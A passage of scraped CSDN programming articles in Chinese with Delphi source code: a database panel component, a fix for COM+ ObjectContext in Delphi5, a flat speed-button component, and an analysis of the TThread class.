editors[i].left := labels[i].left + labels[i].width;
editors[i].width := maxtextlen;
editors[i].top := ftop + (i mod rowcount) * textheight;
editors[i].datasource := datasource;
editors[i].datafield := datasource.dataset.fields[i].fieldname;
editors[i].onkeypress := akeypress;
editors[i].onkeydown := akeydown;
end;
{ 创建ok按钮}
okbutton := tbutton.create(owner);
okbutton.parent := fscrollbox;
okbutton.left := editors[n-1].left;
okbutton.top := editors[n-1].top + textheight;
okbutton.caption := '确定';
okbutton.onclick := fclick;
end;
end;

destructor tdbpanel.destroy;
begin
freeeditors;
inherited destroy;
end;

function tdbpanel.editor(index: integer): tdbcombobox;
begin
if index< length(editors) then result := editors[index]
else result := nil;
end;

procedure tdbpanel.freeeditors;
var
i,n: integer;
begin
{ 内存的释放是要有顺序的！必须以创建的相反的顺序进行！
尤其是当组件之间有父子关系时}
if okbutton<>nil then okbutton.free;
if editors<>nil then begin
n := length(editors);
for i:=0 to n-1 do editors[i].free;
editors := nil;
n := length(labels);
for i:=0 to n-1 do labels[i].free;
labels := nil;
end;
if fscrollbox<>nil then begin
fscrollbox.free;
fscrollbox := nil;
end;
end;

procedure Register;
begin
RegisterComponents('OK', [TDBPanel]);
end;

end.


CSDN_文档中心_排除Delphi5中编写COM+程序的一个错误

在Delphi5中编写COM+组件时总获得不到ObjectContext
也就是调用GetObjectContext返回nil. 这使事物处理没法正确
完成. 有人在网上告诉我在COM+组件前加上一条加载mtxex.dll
语句.确实解决了这个问题, 但好像运行的并不稳定.
procedure TgEntityObj.Initialize;
begin
inherited;
LoadLibrary('mtxex.dll');
end;
但我在Delphi6中不加这条语句就可以获得ObjectContext.
我看了D6中的MTX单元和D5果然不一样, 这也不能怪Borland
D5出来的时候WIN2000(COM+)还没出来所以D5中MTX单位中还是加载
MTS的写法.

在D5 MTX单元中253行.
implementation

uses ComObj;

type
TGetObjectContextProc = function(var ObjectContext: IObjectContext): HRESULT; cdecl;
TSafeRefProc = function(const rid: TGUID; Unk: IUnknown): Pointer; cdecl;
var
GetObjectContextProc: TGetObjectContextProc = nil;
SafeRefProc: TSafeRefProc = nil;
MtsProcsLoaded: Boolean = False;

procedure LoadMtsProcs;
var
Mtxdll: HModule;
begin
if MtsProcsLoaded then Exit;
MtsProcsLoaded := True;
Mtxdll := GetModuleHandle('mtxex.dll');
if mtxdll <> 0 then
begin
@GetObjectContextProc := GetProcAddress(Mtxdll, 'GetObjectContext');
@SafeRefProc := GetProcAddress(Mtxdll, 'SafeRef');
end;
end;

function GetObjectContext: IObjectContext;
begin
LoadMtsProcs;
if Assigned(GetObjectContextProc) then
OleCheck(GetObjectContextProc(Result))
else
Result := nil; //单步执行时返回空.
end;

D6中的MTX单元 注意不同.

implementation

uses ComObj;

type
TGetObjectContextProc = function(var ObjectContext: IObjectContext): HRESULT; cdecl;
///
TCoGetObjectContextProc = function(const riid: TGUID; var ObjectContext: IObjectContext): HRESULT; stdcall;
TSafeRefProc = function(const rid: TGUID; Unk: IUnknown): Pointer; cdecl;
var
GetObjectContextProc: TGetObjectContextProc = nil;
CoGetObjectContextProc: TCoGetObjectContextProc = nil; ///
SafeRefProc: TSafeRefProc = nil;
MtsProcsLoaded: Boolean = False;

function IsComPlusPlatform: boolean; ////// 是否为COM+
var
Ver: TOsVersionInfo;////
begin
Ver.dwOSVersionInfoSize := sizeof(Ver);////
GetVersionEx(Ver);
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_NT) and///
(Ver.dwMajorVersion >= 5) then////
Result := true //
else Result := false;
end; //////

procedure LoadMtsProcs;
var
Mtxdll: HModule;
begin
if MtsProcsLoaded then Exit;
MtsProcsLoaded := True;
if IsComPlusPlatform then ////
begin
Mtxdll := GetModuleHandle('ole32.dll'); ///
if mtxdll <> 0 then ///
@CoGetObjectContextProc := GetProcAddress(Mtxdll, 'CoGetObjectContext');
end ///
else
begin
Mtxdll := GetModuleHandle('mtxex.dll');
if mtxdll <> 0 then
begin
@GetObjectContextProc := GetProcAddress(Mtxdll, 'GetObjectContext');
@SafeRefProc := GetProcAddress(Mtxdll, 'SafeRef');
end;
end;
end;
function GetObjectContext: IObjectContext;
const
IID_IObjectContext: TGUID = '{51372AE0-CAE7-11CF-BE81-00AA00A2FA25}'; ///
begin
LoadMtsProcs;
if Assigned(CoGetObjectContextProc) then ///
CoGetObjectContextProc(IID_IObjectContext, Result) ///
else if Assigned(GetObjectContextProc) then
OleCheck(GetObjectContextProc(Result))
else
Result := nil;
end;

加斜细的是多的部分你只需要把这些部加D5的MTX就可以了.然后另存到你程序的当前目录
编译程序就能获得ObjectContext了.


CSDN_文档中心_平滑SpeedButton

unit TFlatSpeedButtonUnit;

interface

{$I Version.inc}

uses Windows, Messages, Classes, Controls, Forms, Graphics, StdCtrls, ExtCtrls,
CommCtrl, Buttons, FlatUtilitys;

type
TFlatSpeedButton = class(TGraphicControl)
private
FUseAdvColors: Boolean;
FAdvColorFocused: TAdvColors;
FAdvColorDown: TAdvColors;
FAdvColorBorder: TAdvColors;
TextBounds: TRect;
GlyphPos: TPoint;
FNumGlyphs: TNumGlyphs;
FDownColor: TColor;
FBorderColor: TColor;
FColorHighlight: TColor;
FColorShadow: TColor;
FFocusedColor: TColor;
FGroupIndex: Integer;
FGlyph: TBitmap;
FDown: Boolean;
FDragging: Boolean;
FAllowAllUp: Boolean;
FLayout: TButtonLayout;
FSpacing: Integer;
FMargin: Integer;
FMouseInControl: Boolean;
FModalResult: TModalResult;
procedure SetColors (Index: Integer; Value: TColor);
procedure SetAdvColors (Index: Integer; Value: TAdvColors);
procedure SetUseAdvColors (Value: Boolean);
procedure UpdateExclusive;
procedure SetGlyph (Value: TBitmap);
procedure SetNumGlyphs (Value: TNumGlyphs);
procedure SetDown (Value: Boolean);
procedure SetAllowAllUp (Value: Boolean);
procedure SetGroupIndex (Value: Integer);
procedure SetLayout (Value: TButtonLayout);
procedure SetSpacing (Value: Integer);
procedure SetMargin (Value: Integer);
procedure UpdateTracking;
procedure WMLButtonDblClk (var Message: TWMLButtonDown); message WM_LBUTTONDBLCLK;
procedure CMEnabledChanged (var Message: TMessage); message CM_ENABLEDCHANGED;
procedure CMButtonPressed (var Message: TMessage); message CM_BUTTONPRESSED;
procedure CMDialogChar (var Message: TCMDialogChar); message CM_DIALOGCHAR;
procedure CMFontChanged (var Message: TMessage); message CM_FONTCHANGED;
procedure CMTextChanged (var Message: TMessage); message CM_TEXTCHANGED;
procedure CMSysColorChange (var Message: TMessage); message CM_SYSCOLORCHANGE;
procedure CMParentColorChanged (var Message: TWMNoParams); message CM_PARENTCOLORCHANGED;
procedure RemoveMouseTimer;
procedure MouseTimerHandler (Sender: TObject);
protected
FState: TButtonState;
function GetPalette: HPALETTE; override;
procedure CalcAdvColors;
procedure Loaded; override;
procedure MouseDown (Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure MouseMove (Shift: TShiftState; X, Y: Integer); override;
procedure MouseUp (Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure Paint; override;
public
constructor Create (AOwner: TComponent); override;
destructor Destroy; override;
procedure Click; override;
procedure MouseEnter;
procedure MouseLeave;
published
property AllowAllUp: Boolean read FAllowAllUp write SetAllowAllUp default False;
property Color default $00E1EAEB;
property ColorFocused: TColor index 0 read FFocusedColor write SetColors default $00E1EAEB;
property ColorDown: TColor index 1 read FDownColor write SetColors default $00C5D6D9;
property ColorBorder: TColor index 2 read FBorderColor write SetColors default $008396A0;
property ColorHighLight: TColor index 3 read FColorHighlight write SetColors default clWhite;
property ColorShadow: TColor index 4 read FColorShadow write SetColors default clBlack;
property AdvColorFocused: TAdvColors index 0 read FAdvColorFocused write SetAdvColors default 10;
property AdvColorDown: TAdvColors index 1 read FAdvColorDown write SetAdvColors default 10;
property AdvColorBorder: TAdvColors index 2 read FAdvColorBorder write SetAdvColors default 50;
property UseAdvColors: Boolean read FUseAdvColors write SetUseAdvColors default false;
property GroupIndex: Integer read FGroupIndex write SetGroupIndex default 0;
property Down: Boolean read FDown write SetDown default False;
property Caption;
property Enabled;
property Font;
property Glyph: TBitmap read FGlyph write SetGlyph;
property Layout: TButtonLayout read FLayout write SetLayout default blGlyphTop;
property Margin: Integer read FMargin write SetMargin default -1;
property NumGlyphs: TNumGlyphs read FNumGlyphs write SetNumGlyphs default 1;
property ModalResult: TModalResult read FModalResult write FModalResult default 0;
property ParentFont;
property ParentColor;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property Spacing: Integer read FSpacing write SetSpacing default 4;
property Visible;
property OnClick;
property OnDblClick;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
{$IFDEF D4CB4}
property Anchors;
property BiDiMode;
property Constraints;
property DragKind;
property ParentBiDiMode;
property OnEndDock;
property OnStartDock;
{$ENDIF}
end;

var
MouseInControl: TFlatSpeedButton = nil;

implementation

var
MouseTimer: TTimer = nil;
ControlCounter: Integer = 0;

constructor TFlatSpeedButton.Create (AOwner: TComponent);
begin
inherited Create(AOwner);
if MouseTimer = nil then
begin
MouseTimer := TTimer.Create(nil);
MouseTimer.Enabled := False;
MouseTimer.Interval := 100; // 10 times a second
end;
SetBounds(0, 0, 25, 25);
ControlStyle := [csCaptureMouse, csOpaque, csDoubleClicks];
FGlyph := TBitmap.Create;
FNumGlyphs := 1;
ParentFont := True;
ParentColor := True;
FFocusedColor := $00E1EAEB;
FDownColor := $00C5D6D9;
FBorderColor := $008396A0;
FColorHighlight := clWhite;
FColorShadow := clBlack;
FSpacing := 4;
FMargin := -1;
FLayout := blGlyphTop;
FUseAdvColors := false;
FAdvColorFocused := 10;
FAdvColorDown := 10;
FAdvColorBorder := 50;
FModalResult := mrNone;
Inc(ControlCounter);
end;

destructor TFlatSpeedButton.Destroy;
begin
RemoveMouseTimer;
FGlyph.Free;
Dec(ControlCounter);
if ControlCounter = 0 then
begin
MouseTimer.Free;
MouseTimer := nil;
end;
inherited Destroy;
end;

procedure TFlatSpeedButton.Paint;
var
FTransColor: TColor;
FImageList: TImageList;
sourceRect, destRect: TRect;
tempGlyph, memoryBitmap: TBitmap;
buttonRect: TRect;
Offset: TPoint;
begin
// get the transparent color
FTransColor := FGlyph.Canvas.Pixels[0, FGlyph.Height - 1];
buttonRect := ClientRect;

memoryBitmap := TBitmap.Create; // create memory-bitmap to draw flicker-free
try
memoryBitmap.Height := ClientRect.Bottom;
memoryBitmap.Width := ClientRect.Right;
memoryBitmap.Canvas.Font := Self.Font;

if FState in [bsDown, bsExclusive] then
Offset := Point(1, 1)
else
Offset := Point(0, 0);

CalcButtonLayout(memoryBitmap.Canvas, ClientRect, Offset, FLayout, FSpacing,
FMargin, FGlyph, FNumGlyphs, Caption, TextBounds, GlyphPos);

if not Enabled then
begin
FState := bsDisabled;
FDragging := False;
end
else
if FState = bsDisabled then
if FDown and (GroupIndex <> 0) then
FState := bsExclusive
else
FState := bsUp;

// DrawBorder
case FState of
bsUp:
if FMouseInControl then
Frame3D(memoryBitmap.canvas, buttonRect, FColorHighlight, FColorShadow, 1)
else
Frame3D(memoryBitmap.canvas, buttonRect, FBorderColor, FBorderColor, 1);
bsDown, bsExclusive:
Frame3D(memoryBitmap.canvas, buttonRect, FColorShadow, FColorHighlight, 1);
bsDisabled:
Frame3D(memoryBitmap.canvas, buttonRect, FBorderColor, FBorderColor, 1);
end;

// DrawBackground
case FState of
bsUp:
if FMouseInControl then
memoryBitmap.Canvas.Brush.Color := FFocusedColor
else
memoryBitmap.Canvas.Brush.Color := Self.Color;
bsDown:
memoryBitmap.Canvas.Brush.Color := FDownColor;
bsExclusive:
if FMouseInControl then
memoryBitmap.Canvas.Brush.Color := FFocusedColor
else
memoryBitmap.Canvas.Brush.Color := FDownColor;
bsDisabled:
memoryBitmap.Canvas.Brush.Color := Self.Color;
end;
memoryBitmap.Canvas.FillRect(buttonRect);

// DrawGlyph
if not FGlyph.Empty then
begin
tempGlyph := TBitmap.Create;
case FNumGlyphs of
1: case FState of
bsUp: sourceRect := Rect(0, 0, FGlyph.Width, FGlyph.Height);
bsDisabled: sourceRect := Rect(0, 0, FGlyph.Width, FGlyph.Height);
bsDown: sourceRect := Rect(0, 0, FGlyph.Width, FGlyph.Height);
bsExclusive: sourceRect := Rect(0, 0, FGlyph.Width, FGlyph.Height);
end;
2: case FState of
bsUp: sourceRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
bsDisabled: sourceRect := Rect(FGlyph.Width div FNumGlyphs, 0, FGlyph.Width, FGlyph.Height);
bsDown: sourceRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
bsExclusive: sourceRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
end;
3: case FState of
bsUp: SourceRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
bsDisabled: SourceRect := Rect(FGlyph.width div FNumGlyphs, 0, (FGlyph.Width div FNumGlyphs) * 2, FGlyph.Height);
bsDown: SourceRect := Rect((FGlyph.Width div FNumGlyphs) * 2, 0, FGlyph.Width, FGlyph.Height);
bsExclusive: SourceRect := Rect((FGlyph.Width div FNumGlyphs) * 2, 0, FGlyph.Width, FGlyph.Height);
end;
4: case FState of
bsUp: SourceRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
bsDisabled: SourceRect := Rect(FGlyph.width div FNumGlyphs, 0, (FGlyph.Width div FNumGlyphs) * 2, FGlyph.Height);
bsDown: SourceRect := Rect((FGlyph.Width div FNumGlyphs) * 2, 0, (FGlyph.Width div FNumGlyphs) * 3, FGlyph.Height);
bsExclusive: SourceRect := Rect((FGlyph.width div FNumGlyphs) * 3, 0, FGlyph.Width, FGlyph.Height);
end;
end;

destRect := Rect(0, 0, FGlyph.Width div FNumGlyphs, FGlyph.Height);
tempGlyph.Width := FGlyph.Width div FNumGlyphs;
tempGlyph.Height := FGlyph.Height;
tempGlyph.canvas.copyRect(destRect, FGlyph.canvas, sourcerect);

if (FNumGlyphs = 1) and (FState = bsDisabled) then
begin
tempGlyph := CreateDisabledBitmap(tempGlyph, clBlack, clBtnFace, clBtnHighlight, clBtnShadow, True);
FTransColor := tempGlyph.Canvas.Pixels[0, tempGlyph.Height - 1];
end;

FImageList := TImageList.CreateSize(FGlyph.Width div FNumGlyphs, FGlyph.Height);
try
FImageList.AddMasked(tempGlyph, FTransColor);
FImageList.Draw(memoryBitmap.canvas, glyphpos.x, glyphpos.y, 0);
finally
FImageList.Free;
end;
tempGlyph.free;
end;

// DrawText
memoryBitmap.Canvas.Brush.Style := bsClear;
if FState = bsDisabled then
begin
OffsetRect(TextBounds, 1, 1);
memoryBitmap.Canvas.Font.Color := clBtnHighlight;
DrawText(memoryBitmap.Canvas.Handle, PChar(Caption), Length(Caption), TextBounds, DT_CENTER or DT_VCENTER or DT_SINGLELINE);
OffsetRect(TextBounds, -1, -1);
memoryBitmap.Canvas.Font.Color := clBtnShadow;
DrawText(memoryBitmap.Canvas.Handle, PChar(Caption), Length(Caption), TextBounds, DT_CENTER or DT_VCENTER or DT_SINGLELINE);
end
else
DrawText(memoryBitmap.Canvas.Handle, PChar(Caption), Length(Caption), TextBounds, DT_CENTER or DT_VCENTER or DT_SINGLELINE);

// Copy memoryBitmap to screen
canvas.CopyRect(ClientRect, memoryBitmap.canvas, ClientRect);
finally
memoryBitmap.free; // delete the bitmap
end;
end;

procedure TFlatSpeedButton.UpdateTracking;
var
P: TPoint;
begin
if Enabled then
begin
GetCursorPos(P);
FMouseInControl := not (FindDragTarget(P, True) = Self);
if FMouseInControl then
MouseLeave
else
MouseEnter;
end;
end;

procedure TFlatSpeedButton.Loaded;
begin
inherited Loaded;
Invalidate;
end;

procedure TFlatSpeedButton.MouseDown (Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
inherited MouseDown(Button, Shift, X, Y);
if (Button = mbLeft) and Enabled then
begin
if not FDown then
begin
FState := bsDown;
Invalidate;
end;
FDragging := True;
end;
end;

procedure TFlatSpeedButton.MouseMove (Shift: TShiftState; X, Y: Integer);
var
NewState: TButtonState;
P: TPoint;
begin
inherited;

// mouse is in control ?
P := ClientToScreen(Point(X, Y));
if (MouseInControl <> Self) and (FindDragTarget(P, True) = Self) then
begin
if Assigned(MouseInControl) then
MouseInControl.MouseLeave;
// the application is active ?
if (GetActiveWindow <> 0) then
begin
if MouseTimer.Enabled then
MouseTimer.Enabled := False;
MouseInControl := Self;
MouseTimer.OnTimer := MouseTimerHandler;
MouseTimer.Enabled := True;
MouseEnter;
end;
end;

if FDragging then
begin
if not FDown then
NewState := bsUp
else
NewState := bsExclusive;
if (X >= 0) and (X < ClientWidth) and (Y >= 0) and (Y <= ClientHeight) then
if FDown then
NewState := bsExclusive
else
NewState := bsDown;
if NewState <> FState then
begin
FState := NewState;
Invalidate;
end;
end;
end;

procedure TFlatSpeedButton.MouseUp (Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
DoClick: Boolean;
begin
inherited MouseUp(Button, Shift, X, Y);
if FDragging then
begin
FDragging := False;
DoClick := (X >= 0) and (X < ClientWidth) and (Y >= 0) and (Y <= ClientHeight);
if FGroupIndex = 0 then
begin
// Redraw face in-case mouse is captured
FState := bsUp;
FMouseInControl := False;
if DoClick and not (FState in [bsExclusive, bsDown]) then
Invalidate;
end
else
if DoClick then
begin
SetDown(not FDown);
if FDown then Repaint;
end
else
begin
if FDown then FState := bsExclusive;
Repaint;
end;
if DoClick then Click else MouseLeave;
UpdateTracking;
end;
end;

procedure TFlatSpeedButton.Click;
begin
if Parent <> nil then
GetParentForm(self).ModalResult := FModalResult;
inherited Click;
end;

function TFlatSpeedButton.GetPalette: HPALETTE;
begin
Result := FGlyph.Palette;
end;

procedure TFlatSpeedButton.SetColors (Index: Integer; Value: TColor);
begin
case Index of
0: FFocusedColor := Value;
1: FDownColor := Value;
2: FBorderColor := Value;
3: FColorHighlight := Value;
4: FColorShadow := Value;
end;
Invalidate;
end;

procedure TFlatSpeedButton.CalcAdvColors;
begin
if FUseAdvColors then
begin
FFocusedColor := CalcAdvancedColor(Color, FFocusedColor, FAdvColorFocused, lighten);
FDownColor := CalcAdvancedColor(Color, FDownColor, FAdvColorDown, darken);
FBorderColor := CalcAdvancedColor(Color, FBorderColor, FAdvColorBorder, darken);
end;
end;

procedure TFlatSpeedButton.SetAdvColors (Index: Integer; Value: TAdvColors);
begin
case Index of
0: FAdvColorFocused := Value;
1: FAdvColorDown := Value;
2: FAdvColorBorder := Value;
end;
CalcAdvColors;
Invalidate;
end;

procedure TFlatSpeedButton.SetUseAdvColors (Value: Boolean);
begin
if Value <> FUseAdvColors then
begin
FUseAdvColors := Value;
ParentColor := Value;
CalcAdvColors;
Invalidate;
end;
end;

procedure TFlatSpeedButton.SetGlyph (value: TBitmap);
begin
if value <> FGlyph then
begin
FGlyph.Assign(value);
if not FGlyph.Empty then
begin
if FGlyph.Width mod FGlyph.Height = 0 then
begin
FNumGlyphs := FGlyph.Width div FGlyph.Height;
if FNumGlyphs > 4 then FNumGlyphs := 1;
end;
end;
Invalidate;
end;
end;

procedure TFlatSpeedButton.SetNumGlyphs (value: TNumGlyphs);
begin
if value <> FNumGlyphs then
begin
FNumGlyphs := value;
Invalidate;
end;
end;

procedure TFlatSpeedButton.UpdateExclusive;
var
Msg: TMessage;
begin
if (FGroupIndex <> 0) and (Parent <> nil) then
begin
Msg.Msg := CM_BUTTONPRESSED;
Msg.WParam := FGroupIndex;
Msg.LParam := Longint(Self);
Msg.Result := 0;
Parent.Broadcast(Msg);
end;
end;

procedure TFlatSpeedButton.SetDown (Value: Boolean);
begin
if FGroupIndex = 0 then Value := False;
if Value <> FDown then
begin
if FDown and (not FAllowAllUp) then Exit;
FDown := Value;
if Value then
begin
if FState = bsUp then Invalidate;
FState := bsExclusive
end
else
begin
FState := bsUp;
Repaint;
end;
if Value then UpdateExclusive;
end;
end;

procedure TFlatSpeedButton.SetGroupIndex (Value: Integer);
begin
if FGroupIndex <> Value then
begin
FGroupIndex := Value;
UpdateExclusive;
end;
end;

procedure TFlatSpeedButton.SetLayout (Value: TButtonLayout);
begin
if FLayout <> Value then
begin
FLayout := Value;
Invalidate;
end;
end;

procedure TFlatSpeedButton.SetMargin (Value: Integer);
begin
if (Value <> FMargin) and (Value >= -1) then
begin
FMargin := Value;
Invalidate;
end;
end;

procedure TFlatSpeedButton.SetSpacing (Value: Integer);
begin
if Value <> FSpacing then
begin
FSpacing := Value;
Invalidate;
end;
end;

procedure TFlatSpeedButton.SetAllowAllUp (Value: Boolean);
begin
if FAllowAllUp <> Value then
begin
FAllowAllUp := Value;
UpdateExclusive;
end;
end;

procedure TFlatSpeedButton.WMLButtonDblClk (var Message: TWMLButtonDown);
begin
inherited;
if FDown then DblClick;
end;

procedure TFlatSpeedButton.CMEnabledChanged (var Message: TMessage);
begin
inherited;
if not Enabled then
begin
FMouseInControl := False;
FState := bsDisabled;
RemoveMouseTimer;
end;
UpdateTracking;
Invalidate;
end;

procedure TFlatSpeedButton.CMButtonPressed (var Message: TMessage);
var
Sender: TFlatSpeedButton;
begin
if Message.WParam = FGroupIndex then
begin
Sender := TFlatSpeedButton(Message.LParam);
if Sender <> Self then
begin
if Sender.Down and FDown then
begin
FDown := False;
FState := bsUp;
Invalidate;
end;
FAllowAllUp := Sender.AllowAllUp;
end;
end;
end;

procedure TFlatSpeedButton.CMDialogChar (var Message: TCMDialogChar);
begin
with Message do
if IsAccel(CharCode, Caption) and Enabled then
begin
Click;
Result := 1;
end else
inherited;
end;

procedure TFlatSpeedButton.CMFontChanged (var Message: TMessage);
begin
Invalidate;
end;

procedure TFlatSpeedButton.CMTextChanged (var Message: TMessage);
begin
Invalidate;
end;

procedure TFlatSpeedButton.CMSysColorChange (var Message: TMessage);
begin
if FUseAdvColors then
begin
ParentColor := True;
CalcAdvColors;
end;
Invalidate;
end;

procedure TFlatSpeedButton.CMParentColorChanged (var Message: TWMNoParams);
begin
inherited;
if FUseAdvColors then
begin
ParentColor := True;
CalcAdvColors;
end;
Invalidate;
end;

procedure TFlatSpeedButton.MouseEnter;
begin
if Enabled and not FMouseInControl then
begin
FMouseInControl := True;
Repaint;
end;
end;

procedure TFlatSpeedButton.MouseLeave;
begin
if Enabled and FMouseInControl and not FDragging then
begin
FMouseInControl := False;
RemoveMouseTimer;
Invalidate;
end;
end;

procedure TFlatSpeedButton.MouseTimerHandler (Sender: TObject);
var
P: TPoint;
begin
GetCursorPos (P);
if FindDragTarget(P, True) <> Self then
MouseLeave;
end;

procedure TFlatSpeedButton.RemoveMouseTimer;
begin
if MouseInControl = Self then
begin
MouseTimer.Enabled := False;
MouseInControl := nil;
end;
end;

end.


CSDN_文档中心_剖析TThread类

TThread类剖析

摘要

本文从分析源代码的角度介绍Delphi5中的TThread类的封装和运行机理，介绍了TThread类的优缺点。

关键词：Delphi5，TThread，Windows API

目录

1.概述

2.剖析TThread类

2.1 TThread的优点

2.2 TThread的封装和运行机理

3.结束语

4.致谢

5.参考文献

全文

1.概述

根据Windows SDK文档的说明，在Windows线程中的运行实体是类型为：function ThreadFunc(Parameter: pointer): integer的函数（翻译成Delphi的格式）。但是我们都知道，在Delphi中线程被封装成一个TThread类。为什么Delphi要将它封装成一个类？Delphi是如何封装的呢？我们怎样才能充分的利用两者的优点？这就是本下面要介绍的。

2.剖析TThread类

2.1 TThread的优点

将线程作为类来封装有着许多优点。首先它能清晰、安全的界限线程相关的局部变量和进程相关的全局变量。类——对象的模型到实体的映射关系保证了声明在类中的任何变量都是局部的，声明在类外的任何变量都是全局的。所以在写新线程的Execute函数只要注意对类外部的变量、方法的访问就可以了，至于类内部的变量、方法则可以任意使用而不用考虑同步的问题。将线程封装成类的更重要的好处是写新线程的时候可以充分利用类的优点。你可以通过继承来重用父类的功能，这实在是一个激动人心的功能。

2.2 TThread的封装和运行机理

既然已经知道将线程封装成类有诸多好处，作为一个称职的程序员一定会去了解Delphi是如何将线程封装成类的，有没有更好的封装的方法的。

Delphi5中TThread类是这样声明的：

{ TThread }

EThread = class(Exception);

TThreadMethod = procedure of object;
TThreadPriority = (tpIdle, tpLowest, tpLower, tpNormal, tpHigher, tpHighest,
tpTimeCritical);

TThread = class
private
FHandle: THandle;
FThreadID: THandle;
FTerminated: Boolean;
FSuspended: Boolean;
FFreeOnTerminate: Boolean;
FFinished: Boolean;
FReturnValue: Integer;
FOnTerminate: TNotifyEvent;
FMethod: TThreadMethod;
FSynchronizeException: TObject;
procedure CallOnTerminate;
function GetPriority: TThreadPriority;
procedure SetPriority(Value: TThreadPriority);
procedure SetSuspended(Value: Boolean);
protected
procedure DoTerminate; virtual;
procedure Execute; virtual; abstract;
procedure Synchronize(Method: TThreadMethod);
property ReturnValue: Integer read FReturnValue write FReturnValue;
property Terminated: Boolean read FTerminated;
public
constructor Create(CreateSuspended: Boolean);
destructor Destroy; override;
procedure Resume;
procedure Suspend;
procedure Terminate;
function WaitFor: LongWord;
property FreeOnTerminate: Boolean read FFreeOnTerminate write FFreeOnTerminate;
property Handle: THandle read FHandle;
property Priority: TThreadPriority read GetPriority write SetPriority;
property Suspended: Boolean read FSuspended write SetSuspended;
property ThreadID: THandle read FThreadID;
property OnTerminate: TNotifyEvent read FOnTerminate write FOnTerminate;
end;

准确地说，TThread对象是一个带有线程实例的不可见窗体对象（长宽都为0），我把这个窗体叫做线程窗体。这个线程窗体有该TThread类的所有对象共享。TThread在构造的时候线程是否第一次创建，如果是就创建线程窗体，然后增加线程计数，最后才建立线程实例。同理，TThread对象在销毁的时候，先减少线程计数，然后判断计数是否为0，如果是就销毁线程窗体。

为什么要建立一个线程窗体呢？答案就是TThread中的同步函数Synchronize()的需要。线程对象存取其他VCL的属性时与其他线程的同步机制是通过消息队列来实现的。当线程函数执行Synchronize()时，他就向线程窗体发送一条CM_EXECPROC消息。因为线程窗体是进程的一个窗体（虽然它不可见），所以发向线程窗体的消息都会进入进程消息队列，而消息队列的串行处理的特性保证不会出现访问冲突。这是一个简单而有效的解决方案。我不知道有没有人在控制台程序中应用多线程，如果有的话，TThread类可能就不太适合了。这种情况下要么直接应用线程函数，要么自己写一个新的TNewThread类了。

Delphi是在TThread类的外面声明了一个局部函数ThreadProc。这个函数就是Windows SDK中介绍的线程函数，其声明如下：

function ThreadProc(Thread: TThread): Integer;
var
FreeThread: Boolean;
begin
try
Thread.Execute;
finally
FreeThread := Thread.FFreeOnTerminate;
Result := Thread.FReturnValue;
Thread.FFinished := True;
Thread.DoTerminate;
if FreeThread then Thread.Free;
EndThread(Result);
end;
end;

Delphi没有将线程函数作为TThread的一个成员函数，我想把ThreadProc放到TThread的Proctected段中TThread的灵活性可能会更好一点，不过现在的方法也不错。可以看到ThreadProc以TThread对象作为Parameter参数。这样可以保证TThread对象进入线程的堆栈中，一个TThread对象不破坏另一个同类型TThread对象的数据。当然，创建线程的线程还是可以访问新线程中的数据的，Terminate过程就是这样做的。所以TThread的数据还是可能被其他线程破坏的。所以外部线程要访问线程的数据要小心处理，Terminate()是一个比较典型的：外部线程只写，内部线程只读就能很好的工作，如果两个线程都又读又写就可能导致逻辑混乱。

TThread类在构造线程实例是没有直接调用CreateThread() API函数，而是使用了一个BeginThread()函数。不知是什么原因，该函数并没有相应的Delphi Help文档，只是在“TThreadFunc type”的介绍中一笔带过。可能是Borland认为它的参数在以后还会修改吧。不过该函数和CreateThread() API的参数是一模一样的。这是一个让人兴奋的地方，因为BeginThread()加入了Windows API没有的异常处理功能。有意思的是，Delphi在BeginThread()由创建了一个新的线程函数，而把原来的线程函数和参数打包成TThreadRec作为新函数的Parameter。有关Delphi5中BeginThread的定义如下：

type
PThreadRec = ^TThreadRec;
TThreadRec = record
Func: TThreadFunc;
Parameter: Pointer;
end;

function ThreadWrapper(Parameter: Pointer): Integer; stdcall;
asm
CALL _FpuInit
XOR ECX,ECX
PUSH EBP
PUSH offset _ExceptionHandler //新增加的Delphi的异常机制
MOV EDX,FS:[ECX]
PUSH EDX
MOV EAX,Parameter
MOV FS:[ECX],ESP

MOV ECX,[EAX].TThreadRec.Parameter
MOV EDX,[EAX].TThreadRec.Func
PUSH ECX
PUSH EDX
CALL _FreeMem
POP EDX
POP EAX
CALL EDX //调用原来的线程函数

XOR EDX,EDX
POP ECX
MOV FS:[EDX],ECX
POP ECX
POP EBP
end;

function BeginThread(SecurityAttributes: Pointer; StackSize: LongWord;
ThreadFunc: TThreadFunc; Parameter: Pointer; CreationFlags: LongWord;
var ThreadId: LongWord): Integer;
var
P: PThreadRec;
begin
New(P);
P.Func := ThreadFunc;
P.Parameter := Parameter;
IsMultiThread := TRUE;
Result := CreateThread(SecurityAttributes, StackSize, @ThreadWrapper, P,
CreationFlags, ThreadID);
end;

让人觉得美中不足的地方是TThread类在调用BeginThread时传递的SercurityAttributes和StackSize参数分别是nil和0，使BeginThread()在调用CreateThread()时使用了缺省的安全设置和默认堆栈大小。有关这两个参数代表什么意义请查阅Windows SDK文档。

3.结束语

由于时间仓促，简单介绍我认为Delphi的帮助文档中没有说明的部分。不知你看后有什么疑惑或是觉得我什么讲的不对的地方，请来信告知: zg@hzhistar.com 。请多多指教！

4.致谢

"其实，你这篇文章只适用于Delphi5，Delphi6已经改变了Synchronize的做法，改用事件（Event）和临界区（CriticalSection）的配合来进行同步多线程对VCL控件的访问。其它还有些少改动的地方，相信你看源码就会发现。
